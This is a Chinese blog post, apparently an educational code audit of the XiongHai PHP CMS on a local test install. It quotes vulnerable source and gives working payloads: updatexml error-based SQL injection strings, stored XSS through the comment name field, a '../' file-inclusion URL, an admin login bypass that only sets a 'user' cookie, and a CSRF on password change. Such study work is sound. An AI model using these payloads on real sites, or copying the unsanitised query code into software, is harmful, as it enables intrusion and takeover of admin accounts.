熊海CMS代码审计
笔者为代码审计的小白,能看的懂php代码但是没有上手过,你要是和我一样的,那么我觉得这篇文章可以给你一个良好的开端。篇幅很长,所以也希望大家能够将源码下载下来实际操作一番。
环境:
熊海CMS源码 + phpstorm
我们首先来总结一下这篇文章所涉及的代码审计漏洞(为了列出不同的漏洞,每一种漏洞这套cms都有数个,这里没有一一列举出来):
1、sql注入(报错、时间盲注/get、post)
2、xss(存储)
3、文件包含
4、逻辑漏洞(后台登录绕过、CSRF)
cms网上到处都有下载的,目录结构如下:1
2
3
4
5
6
7
8
9
10
11admin //后台文件
css //css文件
files //功能函数文件
images //存放图片
inc //配置文件
install //安装文件
seacmseditor //第三方编辑器
template //模板文件
upload //文件上传目录
index.php //主目录
使用说明.txt //说明文件
报错注入_1
首先打开index.php文件:1
2
3
4
5
6
7<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
会接受一个r参数,然后跳转到r.php文件,r为空则会包含files/index.php文件,跟踪这个文件:
files/index.php line 341
<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>
这里有个a标签的跳转,接收r=content,那么肯定就是包含了content.php文件了,后面还有一个cid,我们来分析一下是什么。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32<?php
require 'inc/301.php';
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$info = mysql_fetch_array($resul);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo $info['title']?></title>
<meta name="keywords" content="<?php echo $info['keywords']?>" />
<meta name="description" content="<?php echo $info['description']?>" />
<meta name="version" content="seacms V1.0.0310" />
<?php require 'template/header.php';?>
<div class="barn">
<div id="body">
<div id="imgtext">
<strong>Oh,Perfect</strong>
<span>个人免费开源程序倡导者</span>
</div>
<img src="images/banner.jpg">
</div></div>
<div id="body">
<div class="div1">
<div class="toutiaoimg">
<?php
$query = "SELECT * FROM content WHERE images<>'' AND xs=1 ORDER BY id DESC LIMIT 1";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$toutiaoimg = mysql_fetch_array($resul);
跟踪这个$toutiaoimg,发现是从数据库中查询 “SELECT * FROM settings” 结果中的一个cid值:
这里的id值为1了,那么跳转的url就是1
http://127.0.0.1/index.php?r=content&cid=1
这里我们继续跟踪content.php文件。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$info = mysql_fetch_array($resul);
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);
$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);
//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());
?>
<?php
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");
$pinglunzs = mysql_num_rows($query)
?>
这里有很多将参数代入查询的语句,发现cid开始做了addslashes处理,这种情况就只能看是否是GBK的方式连接数据库来进行宽字节注入了,那个用引号包裹起来的cid就比较的鸡肋,那有没有没有被引号包裹起来的呢。
line 191
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
这里是一个UPDATE语句查询,很明显有注入了。对于update注入,仔细分析一下:1
2
3and 1=1 //正确
and 1=2 //正确
and sleep(5) //延时成功
老办法,看大牛文章,然后看脑子它吸收不吸收了,主要是盲注和报错注入。1
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
原理可以看一下updatexml语法,基本上可以理解为我们写入的参数执行后不符合规定的逻辑而报错。
那么我们这里的整体的payload就是:1
http://127.0.0.1/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
这里能运用报错注入还有一个条件,就是要有回显1
@mysql_query($query) or die('修改错误:'.mysql_error());
当然,这里利用时间盲注也是可以的,笔者认为报错注入比较直观,时间盲注这一部分就不写了。
报错注入_2
我们继续往下看,有一个form表单提交的地方:
line 153-1721
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<div id="plbt"><strong>→ 和谐网络,文明发言!</strong>发表评论:</div>
<form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
<input name="cid" type="hidden" value="<?php echo $id?>"/>
<ul>
<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li>
<li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li>
<li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
<textarea name="content" cols="" rows=""></textarea>
<input name="save" type="submit" value="提交" id="input2"/>
<div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=this.src+'?'+Math.random();" title="看不清楚?点击刷新验证码?"></span>
</div>
<div id="xx">
<span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span>
<span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span>
</div>
<div id="qcfd"></div>
</ul>
</form>
</div>
请求为r=submit,所以定位到submit.php中1
2
3
4
5
6
7
8
9
10
11
12
13<?php
session_start();
require 'inc/conn.php';
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
if ($tz==""){$tz=0;}
$jz=$_POST['jz'];
除了type,其他的参数都没有进行转换,继续找sql语句(line 66)1
2$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
好了,很容易写payload了吧:1
1111@qq.com') and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
报错注入_3
接着submit.php往下看,看到了一个insert into 的语句吧:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
@mysql_query($query) or die('新增错误:'.mysql_error());
****
line 121-148
这里一样的由于前面没有对这些参数进行过滤,这里将参数直接insert插入到数据库当中,试试insert注入:1
asdsad' or updatexml(1,concat(0x7e,(database())),0) or'
报错注入_4
然后继续往下面走,看见有代入参数的sql语句,并且可以有报错回显的地方(line 176 line 206)1
2
3
$query = "SELECT * FROM content WHERE( id= $cid)";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
闭合一下cid,继续我们的报错注入,payload:1
4) and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
但是这里的注入要有条件(line 150line 175 line 205)1
2
3if ($pltz==1)
if ($type==1)
if ($type==3)
$pltz要为1并且$type==1或3,我们跟踪$pltz变量(line 105):1
2
3
4
5
6$query = "SELECT * FROM seniorset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$advanced = mysql_fetch_array($result);
$lysh=$advanced ['lysh'];//留言审核
$plsh=$advanced ['plsh'];//评论审核
$pltz=$advanced ['pltz'];//新留言评论通知
我们在数据库中查询上面的语句,发现$pltz默认值为0,我们要让这个值为1,则要再后台开启这个功能
我们继续看逻辑(line75-90):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16if ($type=='comment'){
$fhlink="/?r=content&cid=".$cid;
$fhname="评论";
$type=1;
}
if ($type=='message'){
$fhlink="/?r=contact";
$fhname="留言";
$type=2;
}
if ($type=='download'){
$fhlink="/?r=software&cid=".$cid;
$fhname="软件评论";
$type=3;
}
这里定义了我们的type什么时候为1,什么时候为3,只需要在请求的时候修改type的值就可以了,测试如下:
发现当type为 comment 和 download 的时候成功报错,message的时候没有,和上面的逻辑是一样的。
报错注入_5
上面看content这一块代码基本上就弄完了,我们继续看看其他的功能点,主页上还有下载的功能:
url的链接为:1
http://127.0.0.1/?r=software&cid=1
我们就打开software.php,要是你看懂了上面的文章的话,看到里面的源码基本上就能直接的看出注入点了:
line 7 对cid参数进行了addslashes处理
line 8-9 有利用的条件,但是sql语句中加上了引号显得比较的鸡肋
line 13-14 可以利用
这套CMS还存在其他的一些注入,笔者由于篇幅原因就不一一列举出来了,对于挖掘sql注入的审计,只要将参数代入了sql语句的地方都可以进行尝试,接下来看看其他的一些漏洞吧。
XSS
这里也是留言的地方出现了问题,弹出的框框如下:
我们来分析一下原理:
files/content.php(line 107-119)1
2
3
4
5
6
7
8
9
10
11
12
13<div class="userinfo">
<div class="lou">#<?php echo $pinglun['id']?> 楼</div>
<?php if ($pinglun['url']<>""){?>
<a href="<?php echo $pinglun['url']?>" target="_blank" ><img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg"></a>
<?php }else{?>
<img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg">
<?php }?>
<strong><a href="<?php echo $pinglun['url']?>" target="_blank"><?php echo $pinglun['name']?></a><span>Lv 1</span></strong>
<li>位置:<a><?php echo $pinglun['ip']?></a></li>
<li>时间:<a><?php echo tranTime(strtotime($pinglun['date']))?></a></li>
<li>来自:<a><?php echo $pinglun['shebei']?></a></li>
</div>
<div class="content">
这里是从$pinglun这个变量中取出其中的信息,跟踪这个变量到了line100-1011
2$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1) ORDER BY id DESC LIMIT 5");
$pinglunzs = mysql_num_rows($query);
这里的interaction表就是存储评论信息的地方了。
那么是怎么写进去的呢,还记得我们评论的时候抓的包嘛
这里看提交的url是r=submit,那么我们就要在submit.php中看看了,line121-147(上文也有提到):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
这里并没有做任何处理
但是这里只有name处有xss,为什么content没有呢,肯定做了一些处理,大家可以自行寻找一下
submit.php line481
$content= addslashes(strip_tags($content));//过滤HTML
就是这里做了处理,strip_tags函数除去了html标签,同理还可以挖到很多一样的漏洞
文件包含
其实这个漏洞就在index.php中:1
2
3
4
5
6
7<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
这里的r参数接受文件名,访问files/$file.php
那么我们在根目录下面新建一个1.php1
2
3<?php
phpinfo();
?>
访问:1
http://127.0.0.1/index.php?r=../1
这里对输入的r参数有一个addslashes转义,但是并没有什么用。
后台登录绕过
这里后台地方出现了问题哦,访问url:1
http://127.0.0.1/admin/?r=login
我们看一下admin/files/login.php,一眼就看出来了登陆处注入吧。
注入我们不管了,看看其他的地方,发现login.php走不通了,看看其他的php文件:1
require '../inc/checklogin.php';
发现了这个有趣的东西1
2
3
4
5
6
7<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
这段代码就是在cookie中寻找到user的值,若user为空,则跳转到登录页面。
这里就很有趣了,刚开始以为要将$user的值代入数据库中查询,搜了半天没找到语句,然后测试了一下,只要user的值存在,就可以绕过直接进入后台。
CSRF
后台功能点不多,基本上管理员操作的功能都存在CSRF,我们来分析一下他的源码。
后台修改密码处,包含文件manage.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM manage";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$manage = mysql_fetch_array($resul);
$save=$_POST['save'];
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
if ($save==1){
if ($user==""){
echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;
}
if ($name==""){
echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;
}
if ($password<>$password2){
echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;
}
没有使用token,也没有要求初始密码,只是判断了两次密码是否相同。利用burpsuite写好CSRF poc,就可以利用了。
总结
这套CMS,上面列举的漏洞有很多,属于基本上没什么防护机制,在审计的时候比较简单,对漏洞产生的原理有更深的见解,希望大家也能够有耐心的去学习。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:熊海CMS代码审计
本文作者:sher10ck
发布时间:2019-05-16, 15:51:37
最后更新:2020-01-13, 12:54:06
原始链接:http://sherlocz.github.io/2019/05/16/熊海CMS代码审计/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。